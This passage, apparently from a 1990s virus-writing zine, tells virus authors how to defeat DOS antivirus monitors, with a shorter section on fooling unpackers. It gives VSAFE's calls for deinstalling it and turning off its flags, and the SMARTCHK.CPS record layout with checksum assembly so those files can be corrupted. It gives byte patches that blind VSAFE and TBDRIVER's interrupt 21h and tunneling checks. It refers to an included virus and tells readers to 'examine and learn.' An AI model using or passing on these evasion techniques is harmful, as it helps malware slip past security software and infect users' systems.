- DI=4559h on return is res.
- AX = FA01h - Deinstall VSAFE
- AX = FA02h - Change VSAFE flag settings
- BL=bits 0-7 represent settings for flags 1-8, resp.
- on return, CL holds previous flag setting
- AX = FA05h - Turn popup menu on/off
- BL=0 (on) or 1 (off)
-
- Version 2 checks name of program currently running before executing
- functions FA01, FA02 or FA05.
-
- Deinstalling VSAFE works well if nothing is loaded after it in
- memory. However, this may not be the case, and if other programs are loaded
- VSAFE gives an error message. Hence I don't consider this the best way to
- deactivate the program. A better way would be to patch up VSAFE as described
- below, and upon writing the disk, save the VSAFE flags and switch them all
- off, then restore when done. This should keep it quiet.
- If you're too lazy to mess around with that, there's an even easier
- way. The flag status byte in VSAFE 2 is located at offset 0F1Dh in the code,
- and you can modify it directly upon finding VSAFE's segment (check INT 16h's
- segment.) This particular method will only work for version 2.2; the address
- is probably different for other versions.
- Moving on, one will find that the old CHKLIST.CPS files have now been
- replaced by SMARTCHK.CPS files, which have a different format. (The MSAV
- equivalents of these files are CHKLIST.MS and SMARTCHK.MS, respectively.) Each
- record is 60 bytes long, and consists of the following data:
-
- Data Offset Length
- ----------------------------------------------
- ASCIIZ filename 0 13
- File attributes 13 1
- File size 14 4
- File time 18 2
- File date 20 2
- First 32 bytes of file 22 32
- Checksum data 54 4
- Apparently always set to zero. 58 2
-
- Now, a VSAFE-smart virus could increase its stealthiness by modifying
- this data, which isn't as much of a pain as it may sound. It could modify the
- filenames, so VSAFE no longer properly checks the programs. A more ambitious
- programmer could look for the filename, change the first few recorded bytes of
- the file, change the date, and fix the checksum. But how do we calculate the
- checksum, you ask? Good question. The checksum routine in VSAFE 2 is long and
- complicated. (In case you were wondering, the VSAFE 1.0 checksum can be
- calculated like this:
-
- DS:SI = offset of first 64 bytes of file
- (or if file is < 64 bytes long, the entire file)
- BX = high word of 32-bit checksum
- DX = low word of 32-bit checksum
- CX = 64 (for loop) or size of file if < 64 bytes
- AH = 0 (for addition)
-
- vsafe_checksum:
- lodsb ; add first byte
- add dx,ax
- adc bx,0
- lodsb ; subtract second byte
- sub dx,ax
- sbb bx,0
- lodsb ; XOR third byte by first checksum
- xor dl,al ; byte only
- sub cx,3
- cmp cx,2
- ja vsafe_checksum
-
- The finished checksum is in BX:DX.) I haven't figured out the VSAFE 2 checksum
- routine yet - it's much more complicated. But you're welcome to look.
- The included UNSAFE.ASM program is a virus, and demonstrates the
- manipulation of VSAFE flags and corruption of SMARTCHK.CPS files. As a
- demonstration, try setting the write protect flag on, and then infect a few
- files. VSAFE will not warn you of the write, because the flags are temporarily
- turned off by the virus when it spreads. Examine and learn.
-
- PATCHING VSAFE
-
- When VSAFE 2.2 is installed, it installs a routine onto interrupt 21h which
- checks for different DOS calls, as all monitors do. There is a portion of the
- interrupt 21 code which looks like this :
-
- 80 FC 4B cmp ah,4B ; this catches the DOS execute program
- 74 62 jz 0BAF ; call so VSAFE can do program checks
- 80 FC 4C cmp ah,4C ; this catches a DOS terminate program
- 74 33 jz 0B85 ; call so VSAFE can check memory
- 80 FC 00 cmp ah,0 ; another terminate program call check
- 74 15 jz 0B6C
-
- If we set the trap flag, set AH to 99h (or any nonexistent function
- call), call interrupt 21 and scan the code with a tracing routine, we will
- eventually find this point. Once we do, it's quite simple to eliminate VSAFE
- checks when a program begins and ends:
-
- 80 FC 4B cmp ah,4B
- 90 nop ; the JZ's have been replaced with two
- 90 nop ; NOP's each ... VSAFE will no longer
- 80 FC 4C cmp ah,4C ; check programs as they are run,
- 90 nop ; or check memory when a program
- 90 nop ; terminates, because it won't know
- 80 FC 4C cmp ah,0 ; when these things happen anymore.
- 90 nop
- 90 nop
-
- (A brief note: A program can also terminate via interrupt 20h, and
- VSAFE _will_ check memory if a program terminates this way. This interrupt
- is more difficult to tunnel - once the DOS segment is reached, the tunneling
- must be stopped - but it is not impossible. A similar patch could be created
- to solve the problem.)
-
- ***************
- * Thunderbyte *
- ***************
-
- TB MONITORS
-
- All TB monitors work through TBDRIVER and hook the critical interrupts
- 21h,13h, and 40h. These same monitors can be defeated by recursive tunneling
- if TBDRIVER's ability to detect such tunneling is deactivated, however.
-
-
- TBDRIVER'S DETECTION OF RECURSIVE TUNNELING
-
- TBDRIVER is resistant to most recursive tunneling. When an interrupt
- 21 is called, TBDRIVER checks the status of the trap flag for a recursive
- tunneling routine and will display a message if it is found to be set. The
- code that does this appears virtually impenetrable, and looks like this:
-
- (This is from TBDRIVER version 6.14; it may be different now but the idea
- is basically the same.)
-
- cli ; clear interrupts to prevent
- pushf ; interference ...
- cld
- push ax ; what this, in essence, does is
- push bx ; that is saves a value on the stack,
- xchg ax,bx ; pops it, decrements the stack ptr.
- pop ax ; to point to it again, pops it again,
- dec sp ; and if the value changed, an int-
- dec sp ; errupt must have occured. Since the
- pop bx ; interrupt flag is off, the only
- cmp ax,bx ; interrupt this could be is a type 1 -
- pop bx ; the trap flag interrupt routine.
- jz 02A1 ; If two values popped are different,
- ; it warns the user.
-
- PATCHING TBDRIVER
-
- Now, there is no way to fool this routine. You can't hide the change
- to the value on the stack. However, you _can_ scan for this code in your
- tunneling routine, and modify it if it is found. You could look, for example,
- for the following code in the interrupt 21 routine:
-
- 5C pop bx
- 3B C3 cmp ax,bx
- 5B pop bx
- 74 0D jz 02A1
-
- If we find the string 5C 3B C3 5B 74 0D, we know TBDRIVER is present.
- The next step is modifying the code to make it useless.
- The JZ instruction is the test. If AX and BX are equal, then the Z
- flag is set, and if the Z flag is set, the code is not being traced as far
- as TBDRIVER is concerned. Hence, you want it to act as though the Z flag was
- _always_ set. You could do this by changing the instruction to a JMP:
-
- EB 0D jmp 02A1
-
- Now you find the original offset of DOS's interrupt 21 with the same
- tunneling routine, and call it directly, bypassing all TB utilities.
-
- DISABLING TBSCANX
-
- Earlier versions of TBSCANX hook INT 2Fh when they load, and install
- the following functions :
-
- AX = CA00h Test for installation (return FF in AL if res.)
- BX = 'TB' ('tb' on return if resident)
- AX = CA04h Scan file
- DS:DX = program to be scanned
- (carry set means infected, ES:BX=filename)
-
- With a little work and a good debugger, you can trace the code of other AV
- monitors and find similar code in the interrupt 21h or 13h routines. If you
- know what you're doing, you could create similar patches to the ones above
- for these monitors. The same could be done with non-resident virus scanners,
- although this is a more difficult job, and not really worth it in my opinion
- since most good scanners check themselves and probably won't find any _good_
- new virus anyway.
-
- - MnemoniX
-
- ────────────────────────┐
- │ How to fool unpackers │
- └────────────────────────
-
-
- ╓════════════════════════════╖
- ║ Intruder (pASCAL) 'fool' ║
- ║ by Christoph Gabler ║
- ╚════════════════════════════╝
-
- If you want to make your progs written in TP or BP restistent against
- the 'unpacker' Intruder. This ultimative
- groovy and fantastic prog is 'bout unfoolable!!! BUT there is a method
- - of course VERY difficult, try it ONLY if you have a VERY good knowlegde
- in ASM (?) ! You need to change "!#S456789:;" into whatever you want to
- (it won't be executed) and this godlike unpacker called Intruder won't find
- ANYTHING (WOOWIIE! mAN, yOU mUST bE a rEAL hACKER tO dO tHIS!!!!)
-
- You can fool any startupcode unpacker like TEU,UPC,Intruder by sticking a
- BorlandC or Pascal... file to the original file. Use DumpPrevent for that.
- Use DPrevent two times to fool TEU's -X:?? switch.
-
- Another way is to replace code which is always added by the compiler so that
- the file still runs and TEU... does not recognize the file anymore.
-
- ────────────────
- │ TOP SECRETS! │
- ────────────────
-
- Ehm, 'cause this is the uncomplete version of the INSIDER.FAQ this section
- has been cutten - send a email in order to get a complete version.
-
- -> If you have coded your own anti-trace/debug routine please send it to
- me and it will be added here!
-
-
- Thanx go to everyone who send me routines. Especially to ELiCZ for his
- 'OUTSIDER.FAQ' ;) and his nice FILTER's!
-